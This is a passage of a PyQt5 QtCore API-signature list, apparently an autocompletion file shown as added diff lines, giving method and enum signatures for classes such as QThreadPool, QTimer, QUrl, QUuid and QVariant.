parent=None) +QtCore.QThreadPool.__init__?1(self, QObject parent=None) +QtCore.QThreadPool.globalInstance?4() -> QThreadPool +QtCore.QThreadPool.start?4(QRunnable, int priority=0) +QtCore.QThreadPool.start?4(callable, int priority=0) +QtCore.QThreadPool.tryStart?4(QRunnable) -> bool +QtCore.QThreadPool.tryStart?4(callable) -> bool +QtCore.QThreadPool.tryTake?4(QRunnable) -> bool +QtCore.QThreadPool.expiryTimeout?4() -> int +QtCore.QThreadPool.setExpiryTimeout?4(int) +QtCore.QThreadPool.maxThreadCount?4() -> int +QtCore.QThreadPool.setMaxThreadCount?4(int) +QtCore.QThreadPool.activeThreadCount?4() -> int +QtCore.QThreadPool.reserveThread?4() +QtCore.QThreadPool.releaseThread?4() +QtCore.QThreadPool.waitForDone?4(int msecs=-1) -> bool +QtCore.QThreadPool.clear?4() +QtCore.QThreadPool.cancel?4(QRunnable) +QtCore.QThreadPool.setStackSize?4(int) +QtCore.QThreadPool.stackSize?4() -> int +QtCore.QTimeLine.State?10 +QtCore.QTimeLine.State.NotRunning?10 +QtCore.QTimeLine.State.Paused?10 +QtCore.QTimeLine.State.Running?10 +QtCore.QTimeLine.Direction?10 +QtCore.QTimeLine.Direction.Forward?10 +QtCore.QTimeLine.Direction.Backward?10 +QtCore.QTimeLine.CurveShape?10 +QtCore.QTimeLine.CurveShape.EaseInCurve?10 +QtCore.QTimeLine.CurveShape.EaseOutCurve?10 +QtCore.QTimeLine.CurveShape.EaseInOutCurve?10 +QtCore.QTimeLine.CurveShape.LinearCurve?10 +QtCore.QTimeLine.CurveShape.SineCurve?10 +QtCore.QTimeLine.CurveShape.CosineCurve?10 +QtCore.QTimeLine?1(int duration=1000, QObject parent=None) +QtCore.QTimeLine.__init__?1(self, int duration=1000, QObject parent=None) +QtCore.QTimeLine.state?4() -> QTimeLine.State +QtCore.QTimeLine.loopCount?4() -> int +QtCore.QTimeLine.setLoopCount?4(int) +QtCore.QTimeLine.direction?4() -> QTimeLine.Direction +QtCore.QTimeLine.setDirection?4(QTimeLine.Direction) +QtCore.QTimeLine.duration?4() -> int +QtCore.QTimeLine.setDuration?4(int) +QtCore.QTimeLine.startFrame?4() -> int +QtCore.QTimeLine.setStartFrame?4(int) +QtCore.QTimeLine.endFrame?4() -> int +QtCore.QTimeLine.setEndFrame?4(int) +QtCore.QTimeLine.setFrameRange?4(int, int) +QtCore.QTimeLine.updateInterval?4() -> int +QtCore.QTimeLine.setUpdateInterval?4(int) +QtCore.QTimeLine.curveShape?4() -> QTimeLine.CurveShape +QtCore.QTimeLine.setCurveShape?4(QTimeLine.CurveShape) +QtCore.QTimeLine.currentTime?4() -> int +QtCore.QTimeLine.currentFrame?4() -> int +QtCore.QTimeLine.currentValue?4() -> float +QtCore.QTimeLine.frameForTime?4(int) -> int +QtCore.QTimeLine.valueForTime?4(int) -> float +QtCore.QTimeLine.resume?4() +QtCore.QTimeLine.setCurrentTime?4(int) +QtCore.QTimeLine.setPaused?4(bool) +QtCore.QTimeLine.start?4() +QtCore.QTimeLine.stop?4() +QtCore.QTimeLine.toggleDirection?4() +QtCore.QTimeLine.finished?4() +QtCore.QTimeLine.frameChanged?4(int) +QtCore.QTimeLine.stateChanged?4(QTimeLine.State) +QtCore.QTimeLine.valueChanged?4(float) +QtCore.QTimeLine.timerEvent?4(QTimerEvent) +QtCore.QTimeLine.easingCurve?4() -> QEasingCurve +QtCore.QTimeLine.setEasingCurve?4(QEasingCurve) +QtCore.QTimer?1(QObject parent=None) +QtCore.QTimer.__init__?1(self, QObject parent=None) +QtCore.QTimer.isActive?4() -> bool +QtCore.QTimer.timerId?4() -> int +QtCore.QTimer.setInterval?4(int) +QtCore.QTimer.interval?4() -> int +QtCore.QTimer.isSingleShot?4() -> bool +QtCore.QTimer.setSingleShot?4(bool) +QtCore.QTimer.singleShot?4(int, object) +QtCore.QTimer.singleShot?4(int, Qt.TimerType, object) +QtCore.QTimer.start?4(int) +QtCore.QTimer.start?4() +QtCore.QTimer.stop?4() +QtCore.QTimer.timeout?4() +QtCore.QTimer.timerEvent?4(QTimerEvent) +QtCore.QTimer.setTimerType?4(Qt.TimerType) +QtCore.QTimer.timerType?4() -> Qt.TimerType +QtCore.QTimer.remainingTime?4() -> int +QtCore.QTimeZone.NameType?10 +QtCore.QTimeZone.NameType.DefaultName?10 +QtCore.QTimeZone.NameType.LongName?10 +QtCore.QTimeZone.NameType.ShortName?10 +QtCore.QTimeZone.NameType.OffsetName?10 +QtCore.QTimeZone.TimeType?10 +QtCore.QTimeZone.TimeType.StandardTime?10 +QtCore.QTimeZone.TimeType.DaylightTime?10 +QtCore.QTimeZone.TimeType.GenericTime?10 +QtCore.QTimeZone?1() +QtCore.QTimeZone.__init__?1(self) +QtCore.QTimeZone?1(QByteArray) +QtCore.QTimeZone.__init__?1(self, QByteArray) +QtCore.QTimeZone?1(int) +QtCore.QTimeZone.__init__?1(self, int) +QtCore.QTimeZone?1(QByteArray, int, QString, QString, QLocale.Country country=QLocale.AnyCountry, QString comment='') +QtCore.QTimeZone.__init__?1(self, QByteArray, int, QString, QString, QLocale.Country country=QLocale.AnyCountry, QString comment='') +QtCore.QTimeZone?1(QTimeZone) +QtCore.QTimeZone.__init__?1(self, QTimeZone) +QtCore.QTimeZone.swap?4(QTimeZone) +QtCore.QTimeZone.isValid?4() -> bool +QtCore.QTimeZone.id?4() -> QByteArray +QtCore.QTimeZone.country?4() -> QLocale.Country +QtCore.QTimeZone.comment?4() -> QString +QtCore.QTimeZone.displayName?4(QDateTime, QTimeZone.NameType nameType=QTimeZone.DefaultName, QLocale locale=QLocale()) -> QString +QtCore.QTimeZone.displayName?4(QTimeZone.TimeType, QTimeZone.NameType nameType=QTimeZone.DefaultName, QLocale locale=QLocale()) -> QString +QtCore.QTimeZone.abbreviation?4(QDateTime) -> QString +QtCore.QTimeZone.offsetFromUtc?4(QDateTime) -> int +QtCore.QTimeZone.standardTimeOffset?4(QDateTime) -> int +QtCore.QTimeZone.daylightTimeOffset?4(QDateTime) -> int +QtCore.QTimeZone.hasDaylightTime?4() -> bool +QtCore.QTimeZone.isDaylightTime?4(QDateTime) -> bool +QtCore.QTimeZone.offsetData?4(QDateTime) -> QTimeZone.OffsetData +QtCore.QTimeZone.hasTransitions?4() -> bool +QtCore.QTimeZone.nextTransition?4(QDateTime) -> QTimeZone.OffsetData +QtCore.QTimeZone.previousTransition?4(QDateTime) -> QTimeZone.OffsetData +QtCore.QTimeZone.transitions?4(QDateTime, QDateTime) -> unknown-type +QtCore.QTimeZone.systemTimeZoneId?4() -> QByteArray +QtCore.QTimeZone.isTimeZoneIdAvailable?4(QByteArray) -> bool +QtCore.QTimeZone.availableTimeZoneIds?4() -> unknown-type +QtCore.QTimeZone.availableTimeZoneIds?4(QLocale.Country) -> unknown-type +QtCore.QTimeZone.availableTimeZoneIds?4(int) -> unknown-type +QtCore.QTimeZone.ianaIdToWindowsId?4(QByteArray) -> QByteArray +QtCore.QTimeZone.windowsIdToDefaultIanaId?4(QByteArray) -> QByteArray +QtCore.QTimeZone.windowsIdToDefaultIanaId?4(QByteArray, QLocale.Country) -> QByteArray +QtCore.QTimeZone.windowsIdToIanaIds?4(QByteArray) -> unknown-type +QtCore.QTimeZone.windowsIdToIanaIds?4(QByteArray, QLocale.Country) -> unknown-type +QtCore.QTimeZone.systemTimeZone?4() -> QTimeZone +QtCore.QTimeZone.utc?4() -> QTimeZone +QtCore.QTimeZone.OffsetData.abbreviation?7 +QtCore.QTimeZone.OffsetData.atUtc?7 +QtCore.QTimeZone.OffsetData.daylightTimeOffset?7 +QtCore.QTimeZone.OffsetData.offsetFromUtc?7 +QtCore.QTimeZone.OffsetData.standardTimeOffset?7 +QtCore.QTimeZone.OffsetData?1() +QtCore.QTimeZone.OffsetData.__init__?1(self) +QtCore.QTimeZone.OffsetData?1(QTimeZone.OffsetData) +QtCore.QTimeZone.OffsetData.__init__?1(self, QTimeZone.OffsetData) +QtCore.QTranslator?1(QObject parent=None) +QtCore.QTranslator.__init__?1(self, QObject parent=None) +QtCore.QTranslator.translate?4(str, str, str disambiguation=None, int n=-1) -> QString +QtCore.QTranslator.isEmpty?4() -> bool +QtCore.QTranslator.load?4(QString, QString directory='', QString searchDelimiters='', QString suffix='') -> bool +QtCore.QTranslator.load?4(QLocale, QString, QString prefix='', QString directory='', QString suffix='') -> bool +QtCore.QTranslator.loadFromData?4(bytes, QString directory='') -> bool +QtCore.QTranslator.language?4() -> QString +QtCore.QTranslator.filePath?4() -> QString +QtCore.QTransposeProxyModel?1(QObject parent=None) +QtCore.QTransposeProxyModel.__init__?1(self, QObject parent=None) +QtCore.QTransposeProxyModel.setSourceModel?4(QAbstractItemModel) +QtCore.QTransposeProxyModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QTransposeProxyModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QTransposeProxyModel.headerData?4(int, Qt.Orientation, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QTransposeProxyModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtCore.QTransposeProxyModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtCore.QTransposeProxyModel.span?4(QModelIndex) -> QSize +QtCore.QTransposeProxyModel.itemData?4(QModelIndex) -> unknown-type +QtCore.QTransposeProxyModel.mapFromSource?4(QModelIndex) -> QModelIndex +QtCore.QTransposeProxyModel.mapToSource?4(QModelIndex) -> QModelIndex +QtCore.QTransposeProxyModel.parent?4(QModelIndex) -> QModelIndex +QtCore.QTransposeProxyModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QTransposeProxyModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QTransposeProxyModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QTransposeProxyModel.moveRows?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QTransposeProxyModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QTransposeProxyModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QTransposeProxyModel.moveColumns?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QTransposeProxyModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtCore.QUrl.UserInputResolutionOption?10 +QtCore.QUrl.UserInputResolutionOption.DefaultResolution?10 +QtCore.QUrl.UserInputResolutionOption.AssumeLocalFile?10 +QtCore.QUrl.ComponentFormattingOption?10 +QtCore.QUrl.ComponentFormattingOption.PrettyDecoded?10 +QtCore.QUrl.ComponentFormattingOption.EncodeSpaces?10 +QtCore.QUrl.ComponentFormattingOption.EncodeUnicode?10 +QtCore.QUrl.ComponentFormattingOption.EncodeDelimiters?10 +QtCore.QUrl.ComponentFormattingOption.EncodeReserved?10 +QtCore.QUrl.ComponentFormattingOption.DecodeReserved?10 +QtCore.QUrl.ComponentFormattingOption.FullyEncoded?10 +QtCore.QUrl.ComponentFormattingOption.FullyDecoded?10 +QtCore.QUrl.UrlFormattingOption?10 +QtCore.QUrl.UrlFormattingOption.None_?10 +QtCore.QUrl.UrlFormattingOption.RemoveScheme?10 +QtCore.QUrl.UrlFormattingOption.RemovePassword?10 +QtCore.QUrl.UrlFormattingOption.RemoveUserInfo?10 +QtCore.QUrl.UrlFormattingOption.RemovePort?10 +QtCore.QUrl.UrlFormattingOption.RemoveAuthority?10 +QtCore.QUrl.UrlFormattingOption.RemovePath?10 +QtCore.QUrl.UrlFormattingOption.RemoveQuery?10 +QtCore.QUrl.UrlFormattingOption.RemoveFragment?10 +QtCore.QUrl.UrlFormattingOption.PreferLocalFile?10 +QtCore.QUrl.UrlFormattingOption.StripTrailingSlash?10 +QtCore.QUrl.UrlFormattingOption.RemoveFilename?10 +QtCore.QUrl.UrlFormattingOption.NormalizePathSegments?10 +QtCore.QUrl.ParsingMode?10 +QtCore.QUrl.ParsingMode.TolerantMode?10 +QtCore.QUrl.ParsingMode.StrictMode?10 +QtCore.QUrl.ParsingMode.DecodedMode?10 +QtCore.QUrl?1() +QtCore.QUrl.__init__?1(self) +QtCore.QUrl?1(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.__init__?1(self, QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl?1(QUrl) +QtCore.QUrl.__init__?1(self, QUrl) +QtCore.QUrl.url?4(QUrl.FormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.setUrl?4(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.isValid?4() -> bool +QtCore.QUrl.isEmpty?4() -> bool +QtCore.QUrl.clear?4() +QtCore.QUrl.setScheme?4(QString) +QtCore.QUrl.scheme?4() -> QString +QtCore.QUrl.setAuthority?4(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.authority?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.setUserInfo?4(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.userInfo?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.setUserName?4(QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtCore.QUrl.userName?4(QUrl.ComponentFormattingOptions options=QUrl.FullyDecoded) -> QString +QtCore.QUrl.setPassword?4(QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtCore.QUrl.password?4(QUrl.ComponentFormattingOptions options=QUrl.FullyDecoded) -> QString +QtCore.QUrl.setHost?4(QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtCore.QUrl.host?4(QUrl.ComponentFormattingOptions=QUrl.FullyDecoded) -> QString +QtCore.QUrl.setPort?4(int) +QtCore.QUrl.port?4(int defaultPort=-1) -> int +QtCore.QUrl.setPath?4(QString, QUrl.ParsingMode mode=QUrl.DecodedMode) +QtCore.QUrl.path?4(QUrl.ComponentFormattingOptions options=QUrl.FullyDecoded) -> QString +QtCore.QUrl.setFragment?4(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.fragment?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.resolved?4(QUrl) -> QUrl +QtCore.QUrl.isRelative?4() -> bool +QtCore.QUrl.isParentOf?4(QUrl) -> bool +QtCore.QUrl.fromLocalFile?4(QString) -> QUrl +QtCore.QUrl.toLocalFile?4() -> QString +QtCore.QUrl.toString?4(QUrl.FormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.toEncoded?4(QUrl.FormattingOptions options=QUrl.FullyEncoded) -> QByteArray +QtCore.QUrl.fromEncoded?4(QByteArray, QUrl.ParsingMode mode=QUrl.TolerantMode) -> QUrl +QtCore.QUrl.detach?4() +QtCore.QUrl.isDetached?4() -> bool +QtCore.QUrl.fromPercentEncoding?4(QByteArray) -> QString +QtCore.QUrl.toPercentEncoding?4(QString, QByteArray exclude=QByteArray(), QByteArray include=QByteArray()) -> QByteArray +QtCore.QUrl.hasQuery?4() -> bool +QtCore.QUrl.hasFragment?4() -> bool +QtCore.QUrl.errorString?4() -> QString +QtCore.QUrl.fromAce?4(QByteArray) -> QString +QtCore.QUrl.toAce?4(QString) -> QByteArray +QtCore.QUrl.idnWhitelist?4() -> QStringList +QtCore.QUrl.setIdnWhitelist?4(QStringList) +QtCore.QUrl.fromUserInput?4(QString) -> QUrl +QtCore.QUrl.swap?4(QUrl) +QtCore.QUrl.topLevelDomain?4(QUrl.ComponentFormattingOptions options=QUrl.FullyDecoded) -> QString +QtCore.QUrl.isLocalFile?4() -> bool +QtCore.QUrl.toDisplayString?4(QUrl.FormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.setQuery?4(QString, QUrl.ParsingMode mode=QUrl.TolerantMode) +QtCore.QUrl.setQuery?4(QUrlQuery) +QtCore.QUrl.query?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrl.toStringList?4(unknown-type, QUrl.FormattingOptions options=QUrl.PrettyDecoded) -> QStringList +QtCore.QUrl.fromStringList?4(QStringList, QUrl.ParsingMode mode=QUrl.TolerantMode) -> unknown-type +QtCore.QUrl.adjusted?4(QUrl.FormattingOptions) -> QUrl +QtCore.QUrl.fileName?4(QUrl.ComponentFormattingOptions options=QUrl.FullyDecoded) -> QString +QtCore.QUrl.matches?4(QUrl, QUrl.FormattingOptions) -> bool +QtCore.QUrl.fromUserInput?4(QString, QString, QUrl.UserInputResolutionOptions options=QUrl.DefaultResolution) -> QUrl +QtCore.QUrl.FormattingOptions?1(QUrl.FormattingOptions) +QtCore.QUrl.FormattingOptions.__init__?1(self, QUrl.FormattingOptions) +QtCore.QUrl.ComponentFormattingOptions?1() +QtCore.QUrl.ComponentFormattingOptions.__init__?1(self) +QtCore.QUrl.ComponentFormattingOptions?1(int) +QtCore.QUrl.ComponentFormattingOptions.__init__?1(self, int) +QtCore.QUrl.ComponentFormattingOptions?1(QUrl.ComponentFormattingOptions) +QtCore.QUrl.ComponentFormattingOptions.__init__?1(self, QUrl.ComponentFormattingOptions) +QtCore.QUrl.UserInputResolutionOptions?1() +QtCore.QUrl.UserInputResolutionOptions.__init__?1(self) +QtCore.QUrl.UserInputResolutionOptions?1(int) +QtCore.QUrl.UserInputResolutionOptions.__init__?1(self, int) +QtCore.QUrl.UserInputResolutionOptions?1(QUrl.UserInputResolutionOptions) +QtCore.QUrl.UserInputResolutionOptions.__init__?1(self, QUrl.UserInputResolutionOptions) +QtCore.QUrlQuery?1() +QtCore.QUrlQuery.__init__?1(self) +QtCore.QUrlQuery?1(QUrl) +QtCore.QUrlQuery.__init__?1(self, QUrl) +QtCore.QUrlQuery?1(QString) +QtCore.QUrlQuery.__init__?1(self, QString) +QtCore.QUrlQuery?1(QUrlQuery) +QtCore.QUrlQuery.__init__?1(self, QUrlQuery) +QtCore.QUrlQuery.swap?4(QUrlQuery) +QtCore.QUrlQuery.isEmpty?4() -> bool +QtCore.QUrlQuery.isDetached?4() -> bool +QtCore.QUrlQuery.clear?4() +QtCore.QUrlQuery.query?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrlQuery.setQuery?4(QString) +QtCore.QUrlQuery.toString?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrlQuery.setQueryDelimiters?4(QChar, QChar) +QtCore.QUrlQuery.queryValueDelimiter?4() -> QChar +QtCore.QUrlQuery.queryPairDelimiter?4() -> QChar +QtCore.QUrlQuery.setQueryItems?4(unknown-type) +QtCore.QUrlQuery.queryItems?4(QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> unknown-type +QtCore.QUrlQuery.hasQueryItem?4(QString) -> bool +QtCore.QUrlQuery.addQueryItem?4(QString, QString) +QtCore.QUrlQuery.removeQueryItem?4(QString) +QtCore.QUrlQuery.queryItemValue?4(QString, QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QString +QtCore.QUrlQuery.allQueryItemValues?4(QString, QUrl.ComponentFormattingOptions options=QUrl.PrettyDecoded) -> QStringList +QtCore.QUrlQuery.removeAllQueryItems?4(QString) +QtCore.QUrlQuery.defaultQueryValueDelimiter?4() -> QChar +QtCore.QUrlQuery.defaultQueryPairDelimiter?4() -> QChar +QtCore.QUuid.StringFormat?10 +QtCore.QUuid.StringFormat.WithBraces?10 +QtCore.QUuid.StringFormat.WithoutBraces?10 +QtCore.QUuid.StringFormat.Id128?10 +QtCore.QUuid.Version?10 +QtCore.QUuid.Version.VerUnknown?10 +QtCore.QUuid.Version.Time?10 +QtCore.QUuid.Version.EmbeddedPOSIX?10 +QtCore.QUuid.Version.Md5?10 +QtCore.QUuid.Version.Name?10 +QtCore.QUuid.Version.Random?10 +QtCore.QUuid.Version.Sha1?10 +QtCore.QUuid.Variant?10 +QtCore.QUuid.Variant.VarUnknown?10 +QtCore.QUuid.Variant.NCS?10 +QtCore.QUuid.Variant.DCE?10 +QtCore.QUuid.Variant.Microsoft?10 +QtCore.QUuid.Variant.Reserved?10 +QtCore.QUuid?1() +QtCore.QUuid.__init__?1(self) +QtCore.QUuid?1(int, int, int, int, int, int, int, int, int, int, int) +QtCore.QUuid.__init__?1(self, int, int, int, int, int, int, int, int, int, int, int) +QtCore.QUuid?1(QString) +QtCore.QUuid.__init__?1(self, QString) +QtCore.QUuid?1(QByteArray) +QtCore.QUuid.__init__?1(self, QByteArray) +QtCore.QUuid?1(QUuid) +QtCore.QUuid.__init__?1(self, QUuid) +QtCore.QUuid.toString?4() -> QString +QtCore.QUuid.toString?4(QUuid.StringFormat) -> QString +QtCore.QUuid.isNull?4() -> bool +QtCore.QUuid.createUuid?4() -> QUuid +QtCore.QUuid.createUuidV3?4(QUuid, QByteArray) -> QUuid +QtCore.QUuid.createUuidV5?4(QUuid, QByteArray) -> QUuid +QtCore.QUuid.createUuidV3?4(QUuid, QString) -> QUuid +QtCore.QUuid.createUuidV5?4(QUuid, QString) -> QUuid +QtCore.QUuid.variant?4() -> QUuid.Variant +QtCore.QUuid.version?4() -> QUuid.Version +QtCore.QUuid.toByteArray?4() -> QByteArray +QtCore.QUuid.toByteArray?4(QUuid.StringFormat) -> QByteArray +QtCore.QUuid.toRfc4122?4() -> QByteArray +QtCore.QUuid.fromRfc4122?4(QByteArray) -> QUuid +QtCore.QVariant.Type?10 +QtCore.QVariant.Type.Invalid?10 +QtCore.QVariant.Type.Bool?10 +QtCore.QVariant.Type.Int?10 +QtCore.QVariant.Type.UInt?10 +QtCore.QVariant.Type.LongLong?10 +QtCore.QVariant.Type.ULongLong?10 +QtCore.QVariant.Type.Double?10 +QtCore.QVariant.Type.Char?10 +QtCore.QVariant.Type.Map?10 +QtCore.QVariant.Type.List?10 +QtCore.QVariant.Type.String?10 +QtCore.QVariant.Type.StringList?10 +QtCore.QVariant.Type.ByteArray?10 +QtCore.QVariant.Type.BitArray?10 +QtCore.QVariant.Type.Date?10 +QtCore.QVariant.Type.Time?10 +QtCore.QVariant.Type.DateTime?10 +QtCore.QVariant.Type.Url?10 +QtCore.QVariant.Type.Locale?10 +QtCore.QVariant.Type.Rect?10 +QtCore.QVariant.Type.RectF?10 +QtCore.QVariant.Type.Size?10 +QtCore.QVariant.Type.SizeF?10 +QtCore.QVariant.Type.Line?10 +QtCore.QVariant.Type.LineF?10 +QtCore.QVariant.Type.Point?10 +QtCore.QVariant.Type.PointF?10 +QtCore.QVariant.Type.RegExp?10 +QtCore.QVariant.Type.Font?10 +QtCore.QVariant.Type.Pixmap?10 +QtCore.QVariant.Type.Brush?10 +QtCore.QVariant.Type.Color?10 +QtCore.QVariant.Type.Palette?10 +QtCore.QVariant.Type.Icon?10 +QtCore.QVariant.Type.Image?10 +QtCore.QVariant.Type.Polygon?10 +QtCore.QVariant.Type.Region?10 +QtCore.QVariant.Type.Bitmap?10 +QtCore.QVariant.Type.Cursor?10 +QtCore.QVariant.Type.SizePolicy?10 +QtCore.QVariant.Type.KeySequence?10 +QtCore.QVariant.Type.Pen?10 +QtCore.QVariant.Type.TextLength?10 +QtCore.QVariant.Type.TextFormat?10 +QtCore.QVariant.Type.Matrix?10 +QtCore.QVariant.Type.Transform?10 +QtCore.QVariant.Type.Hash?10 +QtCore.QVariant.Type.Matrix4x4?10 +QtCore.QVariant.Type.Vector2D?10 +QtCore.QVariant.Type.Vector3D?10 +QtCore.QVariant.Type.Vector4D?10 +QtCore.QVariant.Type.Quaternion?10 +QtCore.QVariant.Type.EasingCurve?10 +QtCore.QVariant.Type.Uuid?10 +QtCore.QVariant.Type.ModelIndex?10 +QtCore.QVariant.Type.PolygonF?10 +QtCore.QVariant.Type.RegularExpression?10 +QtCore.QVariant.Type.PersistentModelIndex?10 +QtCore.QVariant.Type.UserType?10 +QtCore.QVariant?1() +QtCore.QVariant.__init__?1(self) +QtCore.QVariant?1(QVariant.Type) +QtCore.QVariant.__init__?1(self, QVariant.Type) +QtCore.QVariant?1(object) +QtCore.QVariant.__init__?1(self, object) +QtCore.QVariant?1(QVariant) +QtCore.QVariant.__init__?1(self, QVariant) +QtCore.QVariant.value?4() -> object +QtCore.QVariant.type?4() -> QVariant.Type +QtCore.QVariant.userType?4() -> int +QtCore.QVariant.typeName?4() -> str +QtCore.QVariant.canConvert?4(int) -> bool +QtCore.QVariant.convert?4(int) -> bool +QtCore.QVariant.isValid?4() -> bool +QtCore.QVariant.isNull?4() -> bool +QtCore.QVariant.clear?4() +QtCore.QVariant.load?4(QDataStream) +QtCore.QVariant.save?4(QDataStream) +QtCore.QVariant.typeToName?4(int) -> str +QtCore.QVariant.nameToType?4(str) -> QVariant.Type +QtCore.QVariant.swap?4(QVariant) +QtCore.QVersionNumber?1() +QtCore.QVersionNumber.__init__?1(self) +QtCore.QVersionNumber?1(unknown-type) +QtCore.QVersionNumber.__init__?1(self, unknown-type) +QtCore.QVersionNumber?1(int) +QtCore.QVersionNumber.__init__?1(self, int) +QtCore.QVersionNumber?1(int, int) +QtCore.QVersionNumber.__init__?1(self, int, int) +QtCore.QVersionNumber?1(int, int, int) +QtCore.QVersionNumber.__init__?1(self, int, int, int) +QtCore.QVersionNumber?1(QVersionNumber) +QtCore.QVersionNumber.__init__?1(self, QVersionNumber) +QtCore.QVersionNumber.isNull?4() -> bool +QtCore.QVersionNumber.isNormalized?4() -> bool +QtCore.QVersionNumber.majorVersion?4() -> int +QtCore.QVersionNumber.minorVersion?4() -> int +QtCore.QVersionNumber.microVersion?4() -> int +QtCore.QVersionNumber.normalized?4() -> QVersionNumber +QtCore.QVersionNumber.segments?4() -> unknown-type +QtCore.QVersionNumber.segmentAt?4(int) -> int +QtCore.QVersionNumber.segmentCount?4() -> int +QtCore.QVersionNumber.isPrefixOf?4(QVersionNumber) -> bool +QtCore.QVersionNumber.compare?4(QVersionNumber, QVersionNumber) -> int +QtCore.QVersionNumber.commonPrefix?4(QVersionNumber, QVersionNumber) -> QVersionNumber +QtCore.QVersionNumber.toString?4() -> QString +QtCore.QVersionNumber.fromString?4(QString) -> (QVersionNumber, int) +QtCore.QWaitCondition?1() +QtCore.QWaitCondition.__init__?1(self) +QtCore.QWaitCondition.wait?4(QMutex, int msecs=ULONG_MAX) -> bool +QtCore.QWaitCondition.wait?4(QMutex, QDeadlineTimer) -> bool +QtCore.QWaitCondition.wait?4(QReadWriteLock, int msecs=ULONG_MAX) -> bool +QtCore.QWaitCondition.wait?4(QReadWriteLock, QDeadlineTimer) -> bool +QtCore.QWaitCondition.wakeOne?4() +QtCore.QWaitCondition.wakeAll?4() +QtCore.QXmlStreamAttribute?1() +QtCore.QXmlStreamAttribute.__init__?1(self) +QtCore.QXmlStreamAttribute?1(QString, QString) +QtCore.QXmlStreamAttribute.__init__?1(self, QString, QString) +QtCore.QXmlStreamAttribute?1(QString, QString, QString) +QtCore.QXmlStreamAttribute.__init__?1(self, QString, QString, QString) +QtCore.QXmlStreamAttribute?1(QXmlStreamAttribute) +QtCore.QXmlStreamAttribute.__init__?1(self, QXmlStreamAttribute) +QtCore.QXmlStreamAttribute.namespaceUri?4() -> QStringRef +QtCore.QXmlStreamAttribute.name?4() -> QStringRef +QtCore.QXmlStreamAttribute.qualifiedName?4() -> QStringRef +QtCore.QXmlStreamAttribute.prefix?4() -> QStringRef +QtCore.QXmlStreamAttribute.value?4() -> QStringRef +QtCore.QXmlStreamAttribute.isDefault?4() -> bool +QtCore.QXmlStreamAttributes?1() +QtCore.QXmlStreamAttributes.__init__?1(self) +QtCore.QXmlStreamAttributes?1(QXmlStreamAttributes) +QtCore.QXmlStreamAttributes.__init__?1(self, QXmlStreamAttributes) +QtCore.QXmlStreamAttributes.value?4(QString, QString) -> QStringRef +QtCore.QXmlStreamAttributes.value?4(QString) -> QStringRef +QtCore.QXmlStreamAttributes.append?4(QString, QString, QString) +QtCore.QXmlStreamAttributes.append?4(QString, QString) +QtCore.QXmlStreamAttributes.append?4(QXmlStreamAttribute) +QtCore.QXmlStreamAttributes.hasAttribute?4(QString) -> bool +QtCore.QXmlStreamAttributes.hasAttribute?4(QString, QString) -> bool +QtCore.QXmlStreamAttributes.at?4(int) -> QXmlStreamAttribute +QtCore.QXmlStreamAttributes.clear?4() +QtCore.QXmlStreamAttributes.contains?4(QXmlStreamAttribute) -> bool +QtCore.QXmlStreamAttributes.count?4(QXmlStreamAttribute) -> int +QtCore.QXmlStreamAttributes.count?4() -> int +QtCore.QXmlStreamAttributes.data?4() -> sip.voidptr +QtCore.QXmlStreamAttributes.fill?4(QXmlStreamAttribute, int size=-1) +QtCore.QXmlStreamAttributes.first?4() -> QXmlStreamAttribute +QtCore.QXmlStreamAttributes.indexOf?4(QXmlStreamAttribute, int from=0) -> int +QtCore.QXmlStreamAttributes.insert?4(int, QXmlStreamAttribute) +QtCore.QXmlStreamAttributes.isEmpty?4() -> bool +QtCore.QXmlStreamAttributes.last?4() -> QXmlStreamAttribute +QtCore.QXmlStreamAttributes.lastIndexOf?4(QXmlStreamAttribute, int from=-1) -> int +QtCore.QXmlStreamAttributes.prepend?4(QXmlStreamAttribute) +QtCore.QXmlStreamAttributes.remove?4(int) +QtCore.QXmlStreamAttributes.remove?4(int, int) +QtCore.QXmlStreamAttributes.replace?4(int, QXmlStreamAttribute) +QtCore.QXmlStreamAttributes.size?4() -> int +QtCore.QXmlStreamNamespaceDeclaration?1() +QtCore.QXmlStreamNamespaceDeclaration.__init__?1(self) +QtCore.QXmlStreamNamespaceDeclaration?1(QXmlStreamNamespaceDeclaration) 